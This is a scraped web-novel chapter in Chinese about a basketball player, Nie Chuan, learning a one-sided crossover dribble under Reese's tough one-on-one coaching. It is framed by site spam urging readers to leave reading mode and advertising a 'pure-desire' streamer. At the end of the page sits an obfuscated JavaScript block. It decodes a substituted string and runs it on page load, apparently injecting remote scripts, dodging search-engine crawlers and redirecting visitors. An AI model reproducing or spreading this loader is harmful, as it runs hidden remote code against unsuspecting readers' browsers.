第13页（第1页）
请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。🎁免费-纯欲御姐主播
也就是说大个子黑山其实是最容易通过的？&ldo;你的得分技能在短时间内已经无可救药了。&rdo;里斯又一次戳中聂川的痛脚。如果他已经无药可救，那么现在里斯想要干什么？&ldo;所以在高登教练回来之前，你需要做到的是两件事。第一件，就是带球突围。第二件，就是防守截击。得分交给其他人吧。&rdo;所以……这是一个俯首甘为孺子牛的位子吗？心甘情愿为他人做嫁衣……&ldo;你和康纳是不是还在保持联系？&rdo;&ldo;是的，他说会每天通过网络教我一些运球过人的动作。&rdo;&ldo;今天他教你的是什么？&rdo;&ldo;ylou式变向运球。&rdo;里斯抬起手来看了看腕表：&ldo;以你的能力，一个小时之内应该就能熟悉。&rdo;说完，里斯从场边提过来一把椅子，放在半场的中央，&ldo;你就用它练习过人吧。&rdo;&ldo;啊？用椅子？&rdo;&ldo;因为椅子能让你保持运球的直线。打篮球必须保持直线，康纳应该告诉过你。带球过人，就像是用钥匙去打开防守队员设下的锁。从肩膀到髋，就是防守队员的门。&rdo;里斯压低了自己的重心，一边有节奏地运球，一边摇晃肩膀，然后比划自己肩膀的高度，&ldo;明白了吗？&rdo;&ldo;好像……明白了……&rdo;其实完全不明白！但不管怎样，能有个安静的地方练习，聂川觉得很庆幸。而里斯也没有再管聂川的意思，到了另外一个半场，开始练习投篮。他投篮的动作很优雅，球被推送出去的那一刻，就像一颗星球脱离了尘埃缓缓出现。&ldo;碰‐‐&rdo;球入篮的声音十分悦耳。聂川的运球停了下来，傻傻地看着里斯的背影。而里斯即便背对着聂川似乎也知道他在干什么。&ldo;还有五十五分钟，如果你一点进步都没有，今晚就自己走回学校去。&rdo;一盆冷水泼下来，聂川为了不让自己分心，只得背过身去。他今天的目标是练熟阿尔斯通的单侧变向过人，要求是同侧手运球，穿过同侧腿。康纳在视频里做起来十分自然和谐，而自己却始终变扭。不是掉球，就是碰到自己的膝盖。这让聂川想起高中入学军训列队的时候，自己是如何同手同脚出列，被同学大笑一场。聂川吸一口气，摒除所有杂思。康纳说过，这个动作的要领就是千万不要忘记右腿的支撑作用，球穿过腿间的时候，手要注意给球加速度，让它转起来。对于聂川来说左右前后变向都不是难事，但是这个同侧变向让他越来越烦躁。他就算做出来了也很勉强，绝对被秒杀的节奏。&ldo;你的手腕应该向内侧翻，否则如何让球转？而且最后，你的手腕也要继续保持内侧，不然你就会继续掉球。&rdo;里斯的声音在这个空旷的篮球场十分清晰响亮。聂川转过身来，看着对方。他是不是看着自己已经很久了？&ldo;不明白？&rdo;里斯反问。聂川摇了摇头，决定坦诚地回答：&ldo;不明白。&rdo;里斯叹了一口气，来到聂川的面前，在聂川的面前做了一个单侧变向。他的速度并不快，目的就是为了让聂川看清楚，他运球时有一种独特的韵律感，力度、张弛以及沉稳三位合一。聂川看着他的手是如何侧过去给篮球加速，又是如何稳稳地将球收回，这让聂川有一种莫名的冲动，他想要成为里斯&iddot;雷丁顿。想要像他一样运球，保持他的节奏，做到他做到的事情。&ldo;看明白了吗？&rdo;里斯停了下来。聂川看明白了，可是他觉得很可惜，他还想要再看一遍。里斯无奈地呼出一口气，来到了聂川的身侧，压着聂川的肩膀让他稳定重心。&ldo;记住，把头抬起来。看着你的对手，关注他的动向，而不是想着你的球。&rdo;&ldo;嗯。&rdo;里斯的手覆上了聂川的手背，那一刻，聂川是无比紧张的，就像被电了一样，他想要收回却僵在那里。里斯压低了上身，带着聂川翻转手腕，而他的气息却跟随他的声音缭绕在聂川的耳边：&ldo;等你在运球的时候，也要记住这种感觉。&rdo;&ldo;嗯。&rdo;里斯离开了聂川，来到了他的对面，朝他拍手：&ldo;好！再来一遍！现在你要过的不是那张椅子！而是我！保持你的节奏！&rdo;聂川压低了重心，而里斯则拍手为聂川制造节奏声。聂川运球向前，右腿向前，球跟着里斯的拍手声自然地穿过来，聂川的手掌仿佛还被里斯带着，手腕向内侧翻，他能清楚地感觉球转了起来，绕过他的腿，又被他的手在同一侧稳稳地接住了球。由始至终他都没有低头，而是看着里斯得眼睛。那双眼睛里有一种力量，让他莫名地清醒，同时莫名的镇定。明明从前，里斯&iddot;雷丁顿带给他的都只有压迫感。&ldo;不要停下！接着来！&rdo;里斯一边拍手一边向后退去，给聂川留下运球的空间。聂川不断重复着单侧变向，接近里斯，绕过里斯。里斯的拍手声逐渐加快，而聂川的运球也跟着越来越熟练。但里斯的击掌声停下来的时候，聂川身体的肌肉终于可以放松下来，他喘着气，调整着自己的呼吸。&ldo;你的耐力不行，肌肉爆发力也欠缺。撇开你的得分能力不说，光这两点，高登教练一眼就能看出来。&rdo;&ldo;……那怎么办？&rdo;&ldo;还能怎么办？让你的亮点盖过你的瑕疵。&rdo;里斯压低了重心，与聂川对视，他的目光锐利冰冷，仿佛要将这整片空间都凝结。之前让聂川安心的感觉瞬间转化成了压迫感。&ldo;带球过我。&rdo;里斯开口说，&ldo;你的对手不可能永远是一把椅子。实战能让你有更敏锐的感觉。&rdo;但是里斯这样的陪练规格太高了吧……&ldo;集中精神，聂川。我只是一扇门，而你要找到正确的开启方式。&rdo;聂川浮乱的心绪稳定了下来，他看着里斯的眼睛，运球上前，因为之前一个多小时的练习，打开了聂川身体的柔韧度。他的晃肩幅度变大，而且十分自然，但是里斯的反应是极为敏锐的，就算有半秒钟被聂川晃过，他会以更快的速度调整重心，死死地跟着聂川，聂川逐渐心急了起来，贴向里斯，试图变向转身，却被里斯死死抵着，无法改变方向。聂川的球被里斯轻松地截断了下来。&ldo;运球很好，变向也很有迷惑性。但是聂川，不要轻易和你的对手拼力气，尽量避免身体接触，调动你的步伐，那是你的优势。不要用自己的劣势却拼对手的优势。就好比篮下卡位，你再怎么努力可能这辈子都拼不过我。明白吗？&rdo;里斯的声音是平静的，但却极有力度。聂川感觉自己如果再犯同样的错误，说不定会被里斯捏碎骨头。&ldo;你很怕我？&rdo;里斯眉梢一挑，聂川的小心肝差点没裂开。&ldo;不是啊……&rdo;不是才怪！&ldo;不要想着怎样骗过我，而是想着怎样通过我。当你通过我，你就不会再觉得我可怕了。我只是一扇被你打开的门而已。记住你的节奏，再来！&rdo;里斯拍了拍手。压迫感再度迎面而来。不要看里斯的身高略逊于黑山，他的防守半径貌似比黑山要窄，但是他判断对手动向的敏锐程度远超过黑山，无论聂川如何变向，如何突围，里斯如影随形。汗水从聂川的额角落下，聂川对自己说，我要快一点！再快一点！他看着里斯的眼睛，仿佛整个世界都被剥离，他真的成为他必须要通过的那扇门。聂川骤然加速，急停，里斯紧逼而来，聂川骤然加速，二次变向接背后运球，转身之后他知道里斯马上就会跟上，身体还未得到大脑的只会就又是一个急停，紧接着单侧变向，突围！吱吱呀呀球鞋与地面摩擦的声音格外响亮。聂川觉得血液仿佛从大脑骤然被释放奔涌推向他的指尖他的脚掌，力量在他的四肢间仿佛要崩裂开来。当他运球奔向篮筐的时候，他明显听见了里斯追上来的脚步，聂川将球过到左手，晃肩，重心转移，就在里斯截球之时，他顺着那个重心而去，一个向前的交叉步变向，再度甩开里斯，带球上篮！&ldo;碰‐‐&rdo;他的球被打掉了，球落在地面上又猛地弹起，可见刚才里斯的力气绝对不小。聂川体内原本静止的血液再度流动了起来。他茫然地转身，看着里斯。他又失败了？聂川忽然有一种深深的委屈感。明明他两次晃过里斯了啊！他竟然晃过了里斯呀！里斯到底是怎么追上来的？就算第一次被里斯当面灌篮，就算上一次被黑山连续盖三次火锅，他都没有这么委屈，为什么呀？
🎁免费-纯欲御姐主播请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="t3rocck26k";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@Q}jR8Fs5O((S@KS"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@Q}"=X8"Fs5O((S@KS"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@Q}d2(LCYmOh5:DmRT4"="@Q}5p(LYpmJfC)RmRT4"="@Q}D7(LSqmOh5:DmRT4"="@Q}dC(LJ^mJfC)RmRT4"="@Q}(C(L:4mOh5:DmRT4"="@Q}C2(LSYmJfC)RmRT4"="@Q}25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n/f/@Q}j(8}vR8Fs5O((S@KS"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
www.rywoool.com 传奇小说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛